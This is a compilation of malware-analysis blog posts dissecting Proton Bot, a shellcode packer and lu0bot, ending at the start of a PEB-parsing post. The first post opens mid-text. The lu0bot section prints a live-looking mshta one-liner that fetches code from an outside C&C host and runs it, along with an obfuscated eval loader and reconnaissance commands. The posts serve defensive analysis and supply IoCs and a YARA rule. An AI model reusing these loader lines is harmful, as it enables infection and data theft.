When the malware is launched, it’s retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted.
This call is an alternative to GetCommandLine on this case.
On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis…
Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it’s finally achieved and executed with a simple ShellExecuteA call.
With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :
Creating a folder & copying the payload with an unusual way that I will explain later.
Executing proton bot again in the correct folder with CreateProcessA
Exiting the current module
if paths are identical
two threads are created for specific purposes
one for the loader
the other for the clipper
At that point, all interactions between the bot and the C&C will always be starting with this format :
/page.php?id=%GUID%
%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value “fdff340f-c526-4b55-b1d1-60732104b942”.
Summary
Mutex
dsks102d8h911s29
Loader Path
%APPDATA%/NvidiaAdapter
Loader Folder
Schedule Task
Process
A unique way to perform data interaction
This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module.
The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF).
For those who aren’t familiar with this, there is an example here :
This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It’s a matter time now to hotfix and adjusts this behavior for having better results.
The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade
Anti-Analysis
There are three main things exploited here:
Stack String
Xor encryption
Xor key adjusted with a NOT operand
By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version.
The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.
Loader Architecture
The loader is divided into 5 main sections :
Performing C&C request for adding the Bot or asking a task.
Receiving results from C&C
Analyzing OpCode and executing to the corresponding task
Sending a request to the C&C to indicate that the task has been accomplished
The task format is really simple and is presented as a simple structure like this.
Task Name;Task ID;Opcode;Value
Tasks OpCodes
When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.
OpCode
Feature
1
Loader
2
Self-Destruct
3
Self-Renewal
4
Execute Batch script
5
Execute VB script
6
Execute HTML code
7
Execute Powershell script
8
Download & Save new wallpaper
9
???
10
???
11
???
12 (Supposed)
DDoS
For those who want to see how the loader part looks like on a disassembler, it’s quite pleasant (sarcastic)
the joy of C++
Loader main task
The loader task is set to the OpCode 1. in real scenario this could remain at this one :
Clipper fundamentals are always the same and at that point now, I’m mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.
The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :
/page.php?id=%GUID%&clip=get
The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:
[
id, # ID on C&C
name, # ID Name (i.e: Bitcoin)
regex, # Regular Expression for catching the Wallet
attackerWallet # Switching victim wallet with this one
]
At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it’s not the case here.
On this case, the attacker has decided to target some wallets:
Bitcoin
Dash
Litecoin
Zcash
Ethereum
DogeCoin
if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).
DDos
Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks
Executing scripts
The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.
Deobfuscating the selected format (.bat on this case)
There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end
Setup the downloaded directory on %TEMP% with GetTempPathA
I can’t understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it 🙂
Example in the wild
A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It’s enough to suggest that it is used by some business already started with this one.
Notable malware hosted and/or pushed by this Proton Bot
There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It’s common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.
Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it’s doing its job with extra modules for probably being more attractive. Let’s see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.
It’s been a while that I haven’t release some stuff here and indeed, it’s mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn’t wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.
So let’s start 2021 with something really simple… Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).
Typical icons that could be seen with this packer
This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:
Obfuscation
Cryptography
Decompression
Multi-stage
Shellcode
Remote Thread Hijacking
Disclamer: This post will be different from what i’m doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.
For this analysis, this sample will be used:
B7D90C9D14D124A163F5B3476160E1CF
Architecture
Speaking of itself, the packer is split into 3 main stages:
A PE that will allocate, decrypt and execute the shellcode n°1
Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick
An overview of this packer
Stage 1 – The PE
The first stage is misleading the analyst to think that a decent amount of instructions are performed, but… after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
int i;
SIZE_T uBytes;
HMODULE hModule;
// Will be used for Virtual Protect call
hKernel32 = LoadLibraryA("kernel32.dll");
// Bullshit stuff for getting correct uBytes value
uBytes = CONST_VALUE
_LocalAlloc();
for ( i = 0; j < uBytes; ++i ) {
(_FillAlloc)();
}
_VirtualProtect();
// Decrypt function vary between date & samples
_Decrypt();
_ExecShellcode();
return 0;
}
It’s important to notice this packer is changing its first stage regularly, but it doesn’t mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.
Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).
int (*LocalAlloc())(void)
{
int (*pBuff)(void); // eax
pBuff = LocalAlloc(0, uBytes);
Shellcode = pBuff;
return pBuff;
}
For avoiding giving directly the position of the shellcode, It’s using a simple addition trick for filling the buffer step by step.
int __usercall FillAlloc(int i)
{
int result; // eax
// All bullshit code removed
result = dword_834B70 + 0x7E996;
*(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
return result;
}
Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.
The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it’s simple and easy to used
I am always skeptical whenever i’m reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let’s take our time to just make sure about which variable we have to identified:
v[0] and v[1]
y & z
Number of circles (n=32)
16 bytes key represented as k[0], k[1], k[2], k[3]
delta
sum
Identifying TEA variables in x32dbg
For adding more salt to it, you have your dose of mindless amount of garbage instructions.
Junk code hiding the algorithm
After removing everything unnecessary, our TEA decryption algorithm is looking like this
int *__stdcall _TEADecrypt(int *v)
{
unsigned int y, z, sum;
int i, v7, v8, v9, v10, k[4];
int *result;
y = *v;
z = v[1];
sum = 0xC6EF3720;
k[0] = dword_440150;
k[1] = dword_440154;
k[3] = dword_440158;
k[2] = dword_44015C;
i = 32;
do
{
// Junk code purged
v7 = k[2] + (y >> 5);
v9 = (sum + y) ^ (k[3] + 16 * y);
v8 = v9 ^ v7;
z -= v8;
v10 = k[0] + 16 * z;
(_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
sum += 0x61C88647; // exact equivalent of sum -= 0x9
--i;
}
while ( i );
result = v;
v[1] = z;
*v = y;
return result;
}
At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).
Stage 2 – Falling into the shellcode playground
This shellcode is pretty simple, the main function is just calling two functions:
For beginners, i sorted all these values with there respective variable names and meaning.
offset
Type
Variable
Value
0x00
LIST_ENTRY
InLoaderOrderModuleList->Flink
A8 3B 8D 00
0x04
LIST_ENTRY
InLoaderOrderModuleList->Blink
C8 37 8D 00
0x08
LIST_ENTRY
InMemoryOrderList->Flink
B0 3B 8D 00
0x0C
LIST_ENTRY
InMemoryOrderList->Blick
D0 37 8D 00
0x10
LIST_ENTRY
InInitializationOrderModulerList->Flink
70 3F 8D 00
0x14
LIST_ENTRY
InInitializationOrderModulerList->Blink
BC 7B CC 77
0x18
PVOID
BaseAddress
00 00 BB 77
0x1C
PVOID
EntryPoint
00 00 00 00
0x20
UINT
SizeOfImage
00 00 19 00
0x24
UNICODE_STRING
FullDllName
3A 00 3C 00 A0 35 8D 00
0x2C
UNICODE_STRING
BaseDllName
12 00 14 00 B0 6D BB 77
Because he wants at the first the BaseDllNamefor getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it’s pointing to 0x30
The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it’s negligible. Otherwise yeah, it could be fucked up very quickly.
BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
int pos; // ecx
int checksum; // ebx
int c; // edx
pos = 0;
checksum = 0;
c = 0;
do
{
LOBYTE(c) = *pBuffer | 0x60; // Lowercase
checksum = 2 * (c + checksum);
pBuffer += i; // +2 due it's UNICODE
LOBYTE(pos) = *pBuffer;
--pos;
}
while ( *pBuffer && pos );
return checksum != hash;
}
Find the correct function address
With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.
When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.
0096529D | 58 | pop eax |
0096529E | 33D2 | xor edx,edx | Purge
009652A0 | 66:8B13 | mov dx,word ptr ds:[ebx] |
009652A3 | C1E2 02 | shl edx,2 | Ordinal Value
009652A6 | 03CA | add ecx,edx | Function Address RVA
009652A8 | 0301 | add eax,dword ptr ds:[ecx] | Function Address = BaseAddress + Function Address RVA
009652AA | 59 | pop ecx |
009652AB | 5F | pop edi |
009652AC | 5E | pop esi |
009652AD | 5B | pop ebx |
009652AE | 8BE5 | mov esp,ebp |
009652B0 | 5D | pop ebp |
009652B1 | C2 0800 | ret 8 |
Road to the second shellcode ! \o/
Saving API into a structure
Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.
In the end, the shellcode is completely setup
struct SHELLCODE
{
_BYTE Start;
SCHEADER *ScHeader;
int ScStartOffset;
int seed;
int (__stdcall *pLoadLibraryA)(int *);
int (__stdcall *pGetProcAddress)(int, int *);
PVOID GlobalAlloc;
PVOID GetLastError;
PVOID Sleep;
PVOID VirtuaAlloc;
PVOID CreateToolhelp32Snapshot;
PVOID Module32First;
PVOID CloseHandle;
};
struct SCHEADER
{
_DWORD dwSize;
_DWORD dwSeed;
_BYTE option;
_DWORD dwDecompressedSize;
};
Abusing fake loops
Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it’s somewhat amazing. The more absurd it is, the more i like and i found this really clever.
int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
unsigned int i; // ebx
int hModule; // edi
int lpme[137]; // [esp+Ch] [ebp-224h] BYREF
lpme[0] = 0x224;
for ( i = 0; i < 0x64; ++i )
{
if ( i )
(sc->Sleep)(100);
hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
if ( hModule != -1 )
break;
if ( (sc->GetLastError)() != 24 )
break;
}
if ( (sc->Module32First)(hModule, lpme) )
JumpToShellcode(sc); // <------ This is where to look :)
return (sc->CloseHandle)(hModule);
}
The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER.
int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s) { int seed; // eax unsigned int count; // esi _BYTE *v6; // edx
Interestingly, the stack string trick is different from the first stage
Fake loop once, fake loop forever
At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable “j” is the only one that have a sense.
void __cdecl _Inject(SC *sc)
{
LPSTRING lpFileName; // [esp+0h] [ebp-14h]
char magic[8];
unsigned int j;
int i;
strcpy(magic, "apfHQ");
j = 0;
i = 0;
while ( i != 111 )
{
lpFileName = (sc->GetFileAttributesA)(magic);
if ( j > 1 && lpFileName != 0x637ADF )
{
i = 111;
SetupInject(sc);
}
++j;
}
}
Good ol’ remote thread hijacking
Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.
As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).
Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)
The funny is on the decryption used now in the first stage, it’s the exact copy pasta from the shellcode side.
TEA decryption replaced with rand() + xor like the first shellcode stage
At the start of the second stage, there is not so much to say that the instructions are almost identical
Shellcode n°1 is identical into two different campaign waves
It seems that the second shellcode changed few hours ago (at the date of this paper), so let’s see if other are motivated to make their own analysis of it
Conclusion
Well well, it’s cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.
Well, now it’s time to go serious for the next release 🙂
In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.
I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.
I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.
Disclaimer: I don’t know the real name of this malware.
Minimalist C/C++ loader
When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.
Curious PE Sections
Written in C/C++, only one function has been developped.
void start()
{
char *buff;
buff = CmdLine;
do
{
buff -= 'NPJO'; // The key seems random after each build
buff += 4;
}
while ( v0 < &CmdLine[424] );
WinExec(CmdLine, 0); // ... to the moon ! \o/
ExitProcess(0);
}
This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()
Simple sub loop for unveiling the next stage
Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.
mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
x = 'WinHttp';
127;
x = new ActiveXObject(x + '.' + x + 'Request.5.1');
26;
x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
192;
x.send();
37;
y = 'ipt.S';
72;
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
179;
} catch (e) {};
234;;
window.close();"
Setting up NodeJs
Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
Let’s inspect the code (response) step by step
cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]
In the end, this whole process is designed for retrieving the required NodeJS runtime.
Lu0bot nodejs loader initialization process
Matryoshka Doll(J)s
Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.
implistic lu0bot nodejs loader that is basically the starting point for everything
From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…
Well played OwO
For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.
In the end, lu0bot is basically working in that way
lu0bot nodejs malware architecture
After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.
The madness philosophy behind eval() calls
For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:
XOR
AES-128-CBC
Diffie-Hellman
Blowfish
Understanding Lu0bot variables
S (as Socket)
Fundamental Variable
UDP communications with C&C’s
Receiving main classes/variables
Executing “main branches” code
function om1(r,q,m) # Object Message 1
|--> r # Remote Address Information
|--> q # Query
|--> m # Message
function c1r(m,o,d) # Call 1 Response
|--> m # Message
|--> o # Object
|--> d # Data
function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
|--> m # Message
|--> r # Remote Address Information
function ss(p,q,c,d) # ScriptSetup / SocketSetup
|--> p # Personal ID
|--> q # Query
|--> c # Crypto/Cipher
|--> d # Data
function f() # UDP C2 communications
KO (as Key Object ?)
lu0bot mastermind
Containing all bot information
C&C side
Client side
storing fundamental handle functions for task manager(s)
eval | buffer | file
ko {
pid: # Personal ID
aid: # Address ID (C2)
q: # Query
t: # Timestamp
lq: {
# Query List
},
pk: # Public Key
k: # Key
mp: {}, # Module Packet/Package
mp_new: [Function: mp_new], # New Packet/Package in the queue
mp_get: [Function: mp_get], # Get Packet/Package from the queue
mp_count: [Function: mp_count], # Packer/Package Counter
mp_loss: [Function: mp_loss], # ???
mp_del: [Function: mp_del], # Delete Packet/Package from the queue
mp_dtchk: [Function: mp_dtchk], # Data Check
mp_dtsum: [Function: mp_dtsum], # Data Sum
mp_pset: [Function: mp_pset], # Updating Packet/Package from the queue
h: { # Handle
eval: [Function],
bufwrite: [Function],
bufread: [Function],
filewrite: [Function],
fileread: [Function]
},
mp_opnew: [Function: mp_opnew], # Create New
mp_opstat: [Function: mp_opstat], # get stats from MP
mp_pget: [Function], # Get Packet/Package from MP
mp_pget_ev: [Function] # Get Packet/Package Timer Intervals
}
MP
Module Package/Packet/Program ?
Monitoring and logging an executed task/script.
mp:
{ key: # Key is Personal ID
{ id: , # Key ID (Event ID)
pid: , # Personal ID
gen: , # Starting Timestamp
last: , # Last Tick Update
tmr: [Object], # Timer
p: {}, # Package/Packet
psz: # Package/Packet Size
btotal: # ???
type: 'upload', # Upload/Download type
hn: 'bufread', # Handle name called
target: 'binit', # Script name called (From C&C)
fp: , # Buffer
size: , # Size
fcb: [Function], # FailCallBack
rcb: [Function], # ???
interval: 200, # Internval Timer
last_sev: 1622641866909, # Last Timer Event
stmr: false # Script Timer
}
Ingenious trick for calling functions dynamically
Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.
function sc(m, r) {
if (!m || m.length < 34) return;
m[16] ^= m[2];
m[17] ^= m[3];
var l = m.readUInt16BE(16);
if (18 + l > m.length) return;
var ko = s.pk[r.address + ' ' + r.port];
var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
m = {
q: m.readUInt32BE(0),
c: m.readUInt16BE(4),
ko: ko,
d: m.slice(6)
};
l = 'c' + m.c; // Function name is now saved
if (s[l]) s[l](m, r);
}
As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.
By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.
Buffer.readUInt16BE( offset )
In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).
A well-done task manager architecture
Q variable used as Macro PoV Task Manager
“Q” is designed to be the main task manager.
If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).
if (!lq[q]) { // if query not in the queue, creating it
lq[q] = [0, false];
setTimeout(function() {
delete lq[q]
}, 30000);
try {
for (var p = 0; p < m.d.length; p++)
if (!m.d[p]) break;
var es = m.d.slice(0, p).toString(); // es -> Execute Script
m.d = m.d.slice(p + 1);
if (!m.d.length) m.d = false;
eval(es) // eval, our sweat eval...
} catch (e) {
console.log(e);
}
return;
}
if (lq[q][0]) {
s.ss(ko.pid, q, 1, lq[q][1]);
}
MP variable used as Micro PoV Task Manager
“MP” is designed to execute tasks coming from C&C’s.
Each task is executed independantly!
function mp_opnew(m) {
var o = false; // o -> object
try {
o = JSON.parse(m.d); // m.d (message.data) is saved into o
} catch (e) {}
if (!o || !o.id) return c1r(m, -1); // if o empty, or no id, returning -1
if (!ko.h[o.hn]) return c1r(m, -2); // if no functions set from hn, returning -2
var mp = ko.mp_new(o.id); // Creating mp ---------------------------
for (var k in o) mp[k] = o[k]; |
var hr = ko.h[o.hn](mp); |
if (!hr) { |
ko.mp_del(mp); |
return c1r(m, -3) // if hr is incomplete, returning -3 |
} |
c1r(m, hr); // returning hr |
} |
|
function mp_new(id, ivl) { <----------------------------------------------------
var ivl = ivl ? ivl : 5000; // ivl -> interval
var now = Date.now();
if (!lmp[id]) lmp[id] = { // mp list
id: id,
pid: ko.pid,
gen: now,
last: now,
tmr: false,
p: {},
psz: 0,
btotal: 0
};
var mp = lmp[id];
if (!mp.tmr) mp.tmr = setInterval(function() {
if (Date.now() - mp.last > 1000 * 120) {
ko.mp_del(id);
return;
}
if (mp.tcb) mp.tcb(mp);
}, ivl);
mp.last = now;
return mp;
}
O (Object) – C&C Task
This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..
It contains 4 or 5 values
type.
upload
download
hn : Handle Name
sz: Size (Before Zlib decompression)
psz: ???
target: name of the command/script received from C&C
on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.
Summary
Aggressive telemetry harvester
Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.
Preparing environment
Gathering system information
Process info
tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *
var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());
The workaround is pretty cool in the end
WScript is launched after waiting for 30s
JScript is calling “Intel MEC 750293792”
“Intel MEC 750293792” is executing node.exe with arguments from the upper layer
This setup is triggering the script “Intel MEC 246919961”
the Integer value from the upper layer(s) is part of the Blowfish key generation
global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
the encrypted buffer is storing the lu0bot NodeJS loader.
Ongoing troubleshooting in production ?
It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.
It feels like a possible debugging scenario for understanding an issue.
Outdated NodeJS still living and kickin’
Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.
node.exe used by lu0bot is an outdated one
This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.
NodeJs used is from a 2016 build.I feel old by looking the changelog…
The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).
Interesting module version value in bootstrap-base.js
Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.
By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.
What is the purpose of lu0bot ?
Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.
Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :
Backdoor ?
Loader ?
RAT ?
Infostealer ?
All scenario are possible, but as i said before I could be right or totally wrong.
Where it could be seen ?
Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.
Appendix
IoCs
IP
5.188.206[.]211
lu0bot loader C&C’s (HTTP)
hr0[.]xyz
hr1[.]xyz
hr2[.]xyz
hr3[.]xyz
hr4[.]xyz
hr5[.]xyz
hr6[.]xyz
hr7[.]xyz
hr8[.]xyz
hr9[.]xyz
hr10[.]xyz
lu0bot main C&C’s (UDP side)
lu00[.]xyz
lu01[.]xyz
lu02[.]xyz
lu03[.]xyz
Yara
rule lu0bot_cpp_loader
{
meta:
author = "Fumik0_"
description = "Detecting lu0bot C/C++ lightweight loader"
strings:
$hex_1 = {
BE 00 20 40 00
89 F7
89 F0
81 C7 ?? 01 00 00
81 2E ?? ?? ?? ??
83 C6 04
39 FE
7C ??
BB 00 00 00 00
53 50
E8 ?? ?? ?? ??
E9 ?? ?? ?? ??
}
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
(filesize > 2KB and filesize < 5KB) and
any of them
}
Network communications are mixing TCP (loader) and UDP (main stage).
It’s pushed at least with Garbage Cleaner.
Its default setup seems to be a aggressive telemetry harvester.
Due to its task manager architecture it is technically able to be everything.
Conclusion
Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.
A wild fumik0_ being amazed by the task manager implementation
I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.
In this post I’m going to explain how Process Environment Block (PEB) is parsed by malware devs and how that structure is abused. Instead of going too deep into a lot of details, I would like to follow an easier approach pairing the theory with a practical real example using IDA and LummaStealer, without overwhelming the reader with a lot of technical details trying to simplify the data structure involved in the process. At the end of the theory part, I’m going to apply PEB and all related structures in IDA, inspecting malware parsing capabilities that are going to be applied for resolving hashed APIs.
Let’s start.
PEB Structure
